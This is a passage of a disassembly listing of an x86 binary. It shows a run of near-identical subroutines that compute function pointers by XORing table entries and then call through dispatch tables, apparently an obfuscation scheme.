		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AABC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AACC4	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA24o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0D1h
		mov	[ebp+var_2C], 0C4h
		mov	[ebp+var_28], 41h
		mov	[ebp+var_24], 0
		mov	[ebp+var_20], 89h
		mov	[ebp+var_1C], 9Eh
		mov	[ebp+var_18], 3
		mov	[ebp+var_14], 2Ah
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AAD55
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AAD55:				; CODE XREF: sub_4AACC4+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AACC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AADC1	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA28o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0ECh
		mov	[ebp+var_2C], 53h
		mov	[ebp+var_28], 0DBh
		mov	[ebp+var_24], 78h
		mov	[ebp+var_20], 0BEh
		mov	[ebp+var_1C], 7Dh
		mov	[ebp+var_18], 58h
		mov	[ebp+var_14], 8Bh
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AAE52
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AAE52:				; CODE XREF: sub_4AADC1+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AADC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AAEBE	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA2Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0C2h
		mov	[ebp+var_2C], 0C9h
		mov	[ebp+var_28], 85h
		mov	[ebp+var_24], 9Ah
		mov	[ebp+var_20], 9Bh
		mov	[ebp+var_1C], 0E2h
		mov	[ebp+var_18], 51h
		mov	[ebp+var_14], 6Fh
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AAF4F
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AAF4F:				; CODE XREF: sub_4AAEBE+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AAEBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AAFBB	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA30o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Ch
		mov	[ebp+var_2C], 7
		mov	[ebp+var_28], 47h
		mov	[ebp+var_24], 0BCh
		mov	[ebp+var_20], 44h
		mov	[ebp+var_1C], 90h
		mov	[ebp+var_18], 6Eh
		mov	[ebp+var_14], 72h
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AB04C
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AB04C:				; CODE XREF: sub_4AAFBB+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AAFBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AB0B8	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA34o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0ACh
		mov	[ebp+var_2C], 9Bh
		mov	[ebp+var_28], 0D4h
		mov	[ebp+var_24], 7Bh
		mov	[ebp+var_20], 65h
		mov	[ebp+var_1C], 1Eh
		mov	[ebp+var_18], 0A5h
		mov	[ebp+var_14], 62h
		mov	[ebp+var_10], 4
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 4
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AB149
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AB149:				; CODE XREF: sub_4AB0B8+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AB0B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AB1B5	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA38o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 6Dh
		mov	[ebp+var_2C], 5Bh
		mov	[ebp+var_28], 0F6h
		mov	[ebp+var_24], 2
		mov	[ebp+var_20], 0D5h
		mov	[ebp+var_1C], 15h
		mov	[ebp+var_18], 2Fh
		mov	[ebp+var_14], 39h
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AB246
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AB246:				; CODE XREF: sub_4AB1B5+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AB1B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AB2B2	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA3Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7Ah
		mov	[ebp+var_2C], 50h
		mov	[ebp+var_28], 0F8h
		mov	[ebp+var_24], 60h
		mov	[ebp+var_20], 8Eh
		mov	[ebp+var_1C], 0D8h
		mov	[ebp+var_18], 0E3h
		mov	[ebp+var_14], 0F9h
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AB343
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AB343:				; CODE XREF: sub_4AB2B2+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AB2B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AB3AF	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA40o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 90h
		mov	[ebp+var_2C], 71h
		mov	[ebp+var_28], 5Ch
		mov	[ebp+var_24], 0B3h
		mov	[ebp+var_20], 71h
		mov	[ebp+var_1C], 0C4h
		mov	[ebp+var_18], 0B2h
		mov	[ebp+var_14], 4Ch
		mov	[ebp+var_10], 14h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 14h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AB440
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AB440:				; CODE XREF: sub_4AB3AF+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AB3AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AB4AC	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA44o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0BBh
		mov	[ebp+var_2C], 45h
		mov	[ebp+var_28], 0
		mov	[ebp+var_24], 16h
		mov	[ebp+var_20], 0DDh
		mov	[ebp+var_1C], 48h
		mov	[ebp+var_18], 1Fh
		mov	[ebp+var_14], 0E0h
		mov	[ebp+var_10], 12h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 12h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AB53D
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AB53D:				; CODE XREF: sub_4AB4AC+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AB4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AB5A9	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA48o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Ah
		mov	[ebp+var_2C], 6Ch
		mov	[ebp+var_28], 0D4h
		mov	[ebp+var_24], 66h
		mov	[ebp+var_20], 14h
		mov	[ebp+var_1C], 0B8h
		mov	[ebp+var_18], 0FBh
		mov	[ebp+var_14], 0EBh
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AB63A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AB63A:				; CODE XREF: sub_4AB5A9+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AB5A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AB6A6	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA4Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 94h
		mov	[ebp+var_2C], 74h
		mov	[ebp+var_28], 0DDh
		mov	[ebp+var_24], 0B1h
		mov	[ebp+var_20], 89h
		mov	[ebp+var_1C], 66h
		mov	[ebp+var_18], 0Fh
		mov	[ebp+var_14], 1Bh
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
